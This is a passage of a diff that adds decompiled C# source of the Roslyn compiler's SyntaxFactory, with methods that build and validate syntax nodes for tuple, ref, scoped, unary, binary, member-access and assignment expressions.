NullableType(elementType, Token(SyntaxKind.QuestionToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TupleTypeSyntax TupleType(SyntaxToken openParenToken, SeparatedSyntaxList elements, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.TupleTypeSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.TupleType((SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(elements.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TupleTypeSyntax TupleType(SeparatedSyntaxList elements = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return TupleType(Token(SyntaxKind.OpenParenToken), elements, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TupleElementSyntax TupleElement(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, SyntaxToken identifier) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (type == null) + { + throw new ArgumentNullException("type"); + } + SyntaxKind syntaxKind = identifier.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.TupleElementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.TupleElement((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TupleElementSyntax TupleElement(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return TupleElement(type, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OmittedTypeArgumentSyntax OmittedTypeArgument(SyntaxToken omittedTypeArgumentToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (omittedTypeArgumentToken.Kind() != SyntaxKind.OmittedTypeArgumentToken) + { + throw new ArgumentException("omittedTypeArgumentToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.OmittedTypeArgumentSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.OmittedTypeArgument((SyntaxToken)(object)((SyntaxToken)(ref omittedTypeArgumentToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OmittedTypeArgumentSyntax OmittedTypeArgument() + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return OmittedTypeArgument(Token(SyntaxKind.OmittedTypeArgumentToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RefTypeSyntax RefType(SyntaxToken refKeyword, SyntaxToken readOnlyKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + if (refKeyword.Kind() != SyntaxKind.RefKeyword) + { + throw new ArgumentException("refKeyword"); + } + SyntaxKind syntaxKind = readOnlyKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.ReadOnlyKeyword) + { + throw new ArgumentException("readOnlyKeyword"); + } + if (type == null) + { + throw new ArgumentNullException("type"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.RefTypeSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.RefType((SyntaxToken)(object)((SyntaxToken)(ref refKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref readOnlyKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RefTypeSyntax RefType(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + return RefType(Token(SyntaxKind.RefKeyword), default(SyntaxToken), type); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ScopedTypeSyntax ScopedType(SyntaxToken scopedKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (scopedKeyword.Kind() != SyntaxKind.ScopedKeyword) + { + throw new ArgumentException("scopedKeyword"); + } + if (type == null) + { + throw new ArgumentNullException("type"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ScopedTypeSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ScopedType((SyntaxToken)(object)((SyntaxToken)(ref scopedKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ScopedTypeSyntax ScopedType(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return ScopedType(Token(SyntaxKind.ScopedKeyword), type); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedExpressionSyntax ParenthesizedExpression(SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ParenthesizedExpression((SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedExpressionSyntax ParenthesizedExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return ParenthesizedExpression(Token(SyntaxKind.OpenParenToken), expression, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TupleExpressionSyntax TupleExpression(SyntaxToken openParenToken, SeparatedSyntaxList arguments, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.TupleExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.TupleExpression((SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(arguments.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TupleExpressionSyntax TupleExpression(SeparatedSyntaxList arguments = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return TupleExpression(Token(SyntaxKind.OpenParenToken), arguments, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PrefixUnaryExpressionSyntax PrefixUnaryExpression(SyntaxKind kind, SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax operand) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (kind - 8730 > (SyntaxKind)7 && kind != SyntaxKind.IndexExpression) + { + throw new ArgumentException("kind"); + } + switch (operatorToken.Kind()) + { + default: + throw new ArgumentException("operatorToken"); + case SyntaxKind.TildeToken: + case SyntaxKind.ExclamationToken: + case SyntaxKind.CaretToken: + case SyntaxKind.AmpersandToken: + case SyntaxKind.AsteriskToken: + case SyntaxKind.MinusToken: + case SyntaxKind.PlusToken: + case SyntaxKind.MinusMinusToken: + case SyntaxKind.PlusPlusToken: + if (operand == null) + { + throw new ArgumentNullException("operand"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.PrefixUnaryExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.PrefixUnaryExpression(kind, (SyntaxToken)(object)((SyntaxToken)(ref operatorToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)operand).Green)).CreateRed(); + } + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PrefixUnaryExpressionSyntax PrefixUnaryExpression(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax operand) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return PrefixUnaryExpression(kind, Token(GetPrefixUnaryExpressionOperatorTokenKind(kind)), operand); + } + + private static SyntaxKind GetPrefixUnaryExpressionOperatorTokenKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.UnaryPlusExpression => SyntaxKind.PlusToken, + SyntaxKind.UnaryMinusExpression => SyntaxKind.MinusToken, + SyntaxKind.BitwiseNotExpression => SyntaxKind.TildeToken, + SyntaxKind.LogicalNotExpression => SyntaxKind.ExclamationToken, + SyntaxKind.PreIncrementExpression => SyntaxKind.PlusPlusToken, + SyntaxKind.PreDecrementExpression => SyntaxKind.MinusMinusToken, + SyntaxKind.AddressOfExpression => SyntaxKind.AmpersandToken, + SyntaxKind.PointerIndirectionExpression => SyntaxKind.AsteriskToken, + SyntaxKind.IndexExpression => SyntaxKind.CaretToken, + _ => throw new ArgumentOutOfRangeException(), + }; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AwaitExpressionSyntax AwaitExpression(SyntaxToken awaitKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (awaitKeyword.Kind() != SyntaxKind.AwaitKeyword) + { + throw new ArgumentException("awaitKeyword"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.AwaitExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.AwaitExpression((SyntaxToken)(object)((SyntaxToken)(ref awaitKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AwaitExpressionSyntax AwaitExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return AwaitExpression(Token(SyntaxKind.AwaitKeyword), expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PostfixUnaryExpressionSyntax PostfixUnaryExpression(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax operand, SyntaxToken operatorToken) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + if (kind - 8738 > SyntaxKind.List && kind != SyntaxKind.SuppressNullableWarningExpression) + { + throw new ArgumentException("kind"); + } + if (operand == null) + { + throw new ArgumentNullException("operand"); + } + SyntaxKind syntaxKind = operatorToken.Kind(); + if (syntaxKind != SyntaxKind.ExclamationToken && syntaxKind - 8262 > SyntaxKind.List) + { + throw new ArgumentException("operatorToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.PostfixUnaryExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.PostfixUnaryExpression(kind, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)operand).Green, (SyntaxToken)(object)((SyntaxToken)(ref operatorToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PostfixUnaryExpressionSyntax PostfixUnaryExpression(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax operand) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return PostfixUnaryExpression(kind, operand, Token(GetPostfixUnaryExpressionOperatorTokenKind(kind))); + } + + private static SyntaxKind GetPostfixUnaryExpressionOperatorTokenKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.PostIncrementExpression => SyntaxKind.PlusPlusToken, + SyntaxKind.PostDecrementExpression => SyntaxKind.MinusMinusToken, + SyntaxKind.SuppressNullableWarningExpression => SyntaxKind.ExclamationToken, + _ => throw new ArgumentOutOfRangeException(), + }; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.MemberAccessExpressionSyntax MemberAccessExpression(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.SimpleNameSyntax name) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + if (kind - 8689 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + SyntaxKind syntaxKind = operatorToken.Kind(); + if (syntaxKind != SyntaxKind.DotToken && syntaxKind != SyntaxKind.MinusGreaterThanToken) + { + throw new ArgumentException("operatorToken"); + } + if (name == null) + { + throw new ArgumentNullException("name"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.MemberAccessExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.MemberAccessExpression(kind, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (SyntaxToken)(object)((SyntaxToken)(ref operatorToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SimpleNameSyntax)(object)((SyntaxNode)name).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.MemberAccessExpressionSyntax MemberAccessExpression(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Syntax.SimpleNameSyntax name) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return MemberAccessExpression(kind, expression, Token(GetMemberAccessExpressionOperatorTokenKind(kind)), name); + } + + private static SyntaxKind GetMemberAccessExpressionOperatorTokenKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.SimpleMemberAccessExpression => SyntaxKind.DotToken, + SyntaxKind.PointerMemberAccessExpression => SyntaxKind.MinusGreaterThanToken, + _ => throw new ArgumentOutOfRangeException(), + }; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConditionalAccessExpressionSyntax ConditionalAccessExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax whenNotNull) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if (operatorToken.Kind() != SyntaxKind.QuestionToken) + { + throw new ArgumentException("operatorToken"); + } + if (whenNotNull == null) + { + throw new ArgumentNullException("whenNotNull"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ConditionalAccessExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ConditionalAccessExpression((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (SyntaxToken)(object)((SyntaxToken)(ref operatorToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)whenNotNull).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConditionalAccessExpressionSyntax ConditionalAccessExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax whenNotNull) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return ConditionalAccessExpression(expression, Token(SyntaxKind.QuestionToken), whenNotNull); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.MemberBindingExpressionSyntax MemberBindingExpression(SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.SimpleNameSyntax name) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (operatorToken.Kind() != SyntaxKind.DotToken) + { + throw new ArgumentException("operatorToken"); + } + if (name == null) + { + throw new ArgumentNullException("name"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.MemberBindingExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.MemberBindingExpression((SyntaxToken)(object)((SyntaxToken)(ref operatorToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SimpleNameSyntax)(object)((SyntaxNode)name).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.MemberBindingExpressionSyntax MemberBindingExpression(Microsoft.CodeAnalysis.CSharp.Syntax.SimpleNameSyntax name) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return MemberBindingExpression(Token(SyntaxKind.DotToken), name); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ElementBindingExpressionSyntax ElementBindingExpression(Microsoft.CodeAnalysis.CSharp.Syntax.BracketedArgumentListSyntax argumentList) + { + if (argumentList == null) + { + throw new ArgumentNullException("argumentList"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ElementBindingExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ElementBindingExpression((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BracketedArgumentListSyntax)(object)((SyntaxNode)argumentList).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ElementBindingExpressionSyntax ElementBindingExpression() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return ElementBindingExpression(BracketedArgumentList()); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RangeExpressionSyntax RangeExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? leftOperand, SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? rightOperand) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (operatorToken.Kind() != SyntaxKind.DotDotToken) + { + throw new ArgumentException("operatorToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.RangeExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.RangeExpression((leftOperand == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)leftOperand).Green), (SyntaxToken)(object)((SyntaxToken)(ref operatorToken)).Node, (rightOperand == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)rightOperand).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RangeExpressionSyntax RangeExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? leftOperand, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? rightOperand) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return RangeExpression(leftOperand, Token(SyntaxKind.DotDotToken), rightOperand); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RangeExpressionSyntax RangeExpression() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return RangeExpression(null, Token(SyntaxKind.DotDotToken), null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitElementAccessSyntax ImplicitElementAccess(Microsoft.CodeAnalysis.CSharp.Syntax.BracketedArgumentListSyntax argumentList) + { + if (argumentList == null) + { + throw new ArgumentNullException("argumentList"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitElementAccessSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ImplicitElementAccess((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BracketedArgumentListSyntax)(object)((SyntaxNode)argumentList).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitElementAccessSyntax ImplicitElementAccess() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return ImplicitElementAccess(BracketedArgumentList()); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BinaryExpressionSyntax BinaryExpression(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax left, SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax right) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + if (kind - 8668 > (SyntaxKind)20 && kind != SyntaxKind.UnsignedRightShiftExpression) + { + throw new ArgumentException("kind"); + } + if (left == null) + { + throw new ArgumentNullException("left"); + } + switch (operatorToken.Kind()) + { + default: + throw new ArgumentException("operatorToken"); + case SyntaxKind.PercentToken: + case SyntaxKind.CaretToken: + case SyntaxKind.AmpersandToken: + case SyntaxKind.AsteriskToken: + case SyntaxKind.MinusToken: + case SyntaxKind.PlusToken: + case SyntaxKind.BarToken: + case SyntaxKind.LessThanToken: + case SyntaxKind.GreaterThanToken: + case SyntaxKind.SlashToken: + case SyntaxKind.BarBarToken: + case SyntaxKind.AmpersandAmpersandToken: + case SyntaxKind.QuestionQuestionToken: + case SyntaxKind.ExclamationEqualsToken: + case SyntaxKind.EqualsEqualsToken: + case SyntaxKind.LessThanEqualsToken: + case SyntaxKind.LessThanLessThanToken: + case SyntaxKind.GreaterThanEqualsToken: + case SyntaxKind.GreaterThanGreaterThanToken: + case SyntaxKind.GreaterThanGreaterThanGreaterThanToken: + case SyntaxKind.IsKeyword: + case SyntaxKind.AsKeyword: + if (right == null) + { + throw new ArgumentNullException("right"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.BinaryExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.BinaryExpression(kind, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)left).Green, (SyntaxToken)(object)((SyntaxToken)(ref operatorToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)right).Green)).CreateRed(); + } + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BinaryExpressionSyntax BinaryExpression(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax left, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax right) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return BinaryExpression(kind, left, Token(GetBinaryExpressionOperatorTokenKind(kind)), right); + } + + private static SyntaxKind GetBinaryExpressionOperatorTokenKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.AddExpression => SyntaxKind.PlusToken, + SyntaxKind.SubtractExpression => SyntaxKind.MinusToken, + SyntaxKind.MultiplyExpression => SyntaxKind.AsteriskToken, + SyntaxKind.DivideExpression => SyntaxKind.SlashToken, + SyntaxKind.ModuloExpression => SyntaxKind.PercentToken, + SyntaxKind.LeftShiftExpression => SyntaxKind.LessThanLessThanToken, + SyntaxKind.RightShiftExpression => SyntaxKind.GreaterThanGreaterThanToken, + SyntaxKind.UnsignedRightShiftExpression => SyntaxKind.GreaterThanGreaterThanGreaterThanToken, + SyntaxKind.LogicalOrExpression => SyntaxKind.BarBarToken, + SyntaxKind.LogicalAndExpression => SyntaxKind.AmpersandAmpersandToken, + SyntaxKind.BitwiseOrExpression => SyntaxKind.BarToken, + SyntaxKind.BitwiseAndExpression => SyntaxKind.AmpersandToken, + SyntaxKind.ExclusiveOrExpression => SyntaxKind.CaretToken, + SyntaxKind.EqualsExpression => SyntaxKind.EqualsEqualsToken, + SyntaxKind.NotEqualsExpression => SyntaxKind.ExclamationEqualsToken, + SyntaxKind.LessThanExpression => SyntaxKind.LessThanToken, + SyntaxKind.LessThanOrEqualExpression => SyntaxKind.LessThanEqualsToken, + SyntaxKind.GreaterThanExpression => SyntaxKind.GreaterThanToken, + SyntaxKind.GreaterThanOrEqualExpression => SyntaxKind.GreaterThanEqualsToken, + SyntaxKind.IsExpression => SyntaxKind.IsKeyword, + SyntaxKind.AsExpression => SyntaxKind.AsKeyword, + SyntaxKind.CoalesceExpression => SyntaxKind.QuestionQuestionToken, + _ => throw new ArgumentOutOfRangeException(), + }; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AssignmentExpressionSyntax AssignmentExpression(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax left, SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax right) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + if (kind - 8714 > (SyntaxKind)12) + { + throw new ArgumentException("kind"); + } + if (left == null) + { + throw new ArgumentNullException("left"); + } + switch (operatorToken.Kind()) + { + default: + throw new ArgumentException("operatorToken"); + case SyntaxKind.EqualsToken: + case SyntaxKind.LessThanLessThanEqualsToken: + case SyntaxKind.GreaterThanGreaterThanEqualsToken: + case SyntaxKind.SlashEqualsToken: + case SyntaxKind.AsteriskEqualsToken: + case SyntaxKind.BarEqualsToken: + case SyntaxKind.AmpersandEqualsToken: + case SyntaxKind.PlusEqualsToken: + case SyntaxKind.MinusEqualsToken: + case SyntaxKind.CaretEqualsToken: + case SyntaxKind.PercentEqualsToken: + case SyntaxKind.QuestionQuestionEqualsToken: + case SyntaxKind.GreaterThanGreaterThanGreaterThanEqualsToken: + if (right == null) + { + throw new ArgumentNullException("right"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.AssignmentExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.AssignmentExpression(kind, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)left).Green, (SyntaxToken)(object)((SyntaxToken)(ref operatorToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)right).Green)).CreateRed(); + } + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AssignmentExpressionSyntax AssignmentExpression(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax left, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax right) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return AssignmentExpression(kind, left, Token(GetAssignmentExpressionOperatorTokenKind(kind)), right); + } + + private static SyntaxKind GetAssignmentExpressionOperatorTokenKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.SimpleAssignmentExpression => SyntaxKind.EqualsToken, + SyntaxKind.AddAssignmentExpression => SyntaxKind.PlusEqualsToken, + SyntaxKind.SubtractAssignmentExpression => SyntaxKind.MinusEqualsToken, + SyntaxKind.MultiplyAssignmentExpression => SyntaxKind.AsteriskEqualsToken, + SyntaxKind.DivideAssignmentExpression => SyntaxKind.SlashEqualsToken, + SyntaxKind.ModuloAssignmentExpression => SyntaxKind.PercentEqualsToken, + SyntaxKind.AndAssignmentExpression => 